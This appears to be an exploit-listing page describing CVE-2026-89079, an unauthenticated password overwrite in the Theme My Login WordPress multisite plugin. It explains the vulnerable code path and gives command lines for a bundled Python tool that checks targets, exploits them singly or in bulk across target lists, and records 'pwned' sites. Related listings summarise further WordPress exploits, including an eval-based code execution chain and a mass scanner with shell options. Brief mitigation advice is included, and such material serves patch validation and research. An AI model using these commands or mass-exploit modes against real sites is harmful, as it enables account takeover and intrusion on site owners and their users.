CVE-2026-89079 — Theme My Login WordPress Multisite Unauthenticated Password Overwrite (ATO)
October 16, 2026 · 48 views
Theme My Login ≤7.2.1 on WordPress multisite with network tml_user_passwords: lost-password retrieve_password() path applies attacker user_pass1 via tml_ms_filter_pre_insert_user_data → wp_update_user (CWE-269). CVSS 3.1 9.8. Not version-only. Python PoC: check, verify, exploit, bulk. Fixed 7.2.2.
Description
Overview
CVE-2026-89079 — Theme My Login WordPress plugin — unauthenticated account takeover on WordPress multisite when network option tml_user_passwords is enabled (CWE-269).
| | | |---|---| | Affected | ≤ 7.2.1 | | Fixed | 7.2.2+ (commit 06b7623) | | CVSS 3.1 | 9.8 Critical | | Plugin | theme-my-login |
Version scan alone is not enough. All must hold:
is_multisite()—ms-hooks.phppath (not single-site TML/register/false positives).get_site_option('tml_user_passwords')— network “user-chosen registration passwords”.- Theme My Login ≤ 7.2.1 —
tml_ms_filter_pre_insert_user_data()applies$_POST['user_pass1']duringretrieve_password()→wp_update_user().
checkemail=confirm after lost-password POST does not prove exploit success — normal WordPress when the vulnerable filter is inactive.
PoC page: https://pocbit.org/pocs/cve-2026-89079
GitHub: murrez/CVE-2026-89079
CVE.org: CVE-2026-89079
Bundled tool (Python 3)
Download cve-2026-89079.py — writes poc.py, tml_core.py, tests/, lab/README.md.
python cve-2026-89079.py
pip install -r requirements.txt
python poc.py --check https://target.example.com
python poc.py -f targets.example.txt --mode check -j 30 -q
python poc.py -f targets.example.txt --mode check --enum-users -j 30
python poc.py https://target.example.com --mode exploit
python poc.py https://target.example.com -u admin --mode exploit
python poc.py -f cve_2026_89079_vuln.txt --mode exploit -j 15 -q
python -m unittest discover -s tests -v
Check outputs: cve_2026_89079_results.jsonl, cve_2026_89079_vuln.txt, cve_2026_89079_eligible.txt. Exploit: cve_2026_89079_exploit.jsonl, cve_2026_89079_pwned.txt.
Useful flags: --verify-only, --only-eligible, --require-user-passwords, --no-require-multisite (see README).
Mitigation
- Upgrade Theme My Login to ≥ 7.2.2 on the network.
- Disable
tml_user_passwordsor the plugin until patched. - Alert on unauthenticated lost-password POSTs containing
user_pass1.
Legal and ethical use
Authorized security research and patch validation only.
References
Related PoCs
Same platform, vendor, or tags — explore more write-ups on Pocbit.
- WordPressCVE-2026-97657critical
CVE-2026-97657 — Abandoned Cart Pro for WooCommerce Auth Bypass & Account Takeover
Tyche Abandoned Cart Pro ≤10.8.0: recovery checkout_link uses AES-CTR without mandatory HMAC when wcap_nonce omitted; CTR malleability swaps abandoned cart ID → wp_set_auth_cookie victim (CWE-639). CVSS 3.1 9.8 Critical. Python PoC: check, forge, exploit. Marker POCBIT-97657-OK.
- WordPressCVE-2026-92966critical
CVE-2026-92966 — WordPress LatePoint ≤5.7.0 Stored Shortcode Execution (Customer Cabinet)
LatePoint appointment booking ≤5.7.0: unauthenticated guest booking stores [shortcode] in customer first/last name (sanitize_text_field keeps brackets); Customer Cabinet block renders welcome line then the_content do_shortcode runs twice → arbitrary shortcode execution. CVSS 9.1 Critical (CWE-94). Fixed in 5.7.1. No API key. Python PoC: check, mass exploit, --lab, optional POCBIT_EXEC_SHORTCODE. Marker POCBIT-92966-OK.
- WordPressCVE-2026-96349critical
CVE-2026-96349 — WordPress SiteSkite ≤2.1.8 API-Key Autologin + MCP eval() RCE Chain
SiteSkite WordPress plugin ≤2.1.8: long-lived API key acts as unauthenticated admin bearer via ?token= autologin; REST/admin-ajax MCP abilities run siteskite_execute_php (eval) and file write. CVSS 10.0 Critical (CWE-94). Fixed in 2.2.0. Python PoC: check (readme ≤2.1.8), exploit with API key, mass hits/exploited, --lab. Marker POCBIT-96349-OK.
- WordPressCVE-2026-87902critical
CVE-2026-87902 — WordPress Core get_page_template() Unauthenticated LFI → RCE (PEAR chain)
WordPress core 4.7.0–7.1.1: pagename from POST used in get_page_template() without validate_file(); page-templates/ traversal + PEAR gadget → RCE. GHSA-7hp8-65ch-5whp, CVSS 4.0 9.8, CWE-22. Fixed 7.1.2+ (backports 6.8.10, 7.0.6). Python mass scanner: --check, --rce, --shell. Upstream: MRdark-ops/CVE-2026-87902 (HackfutSecRoot).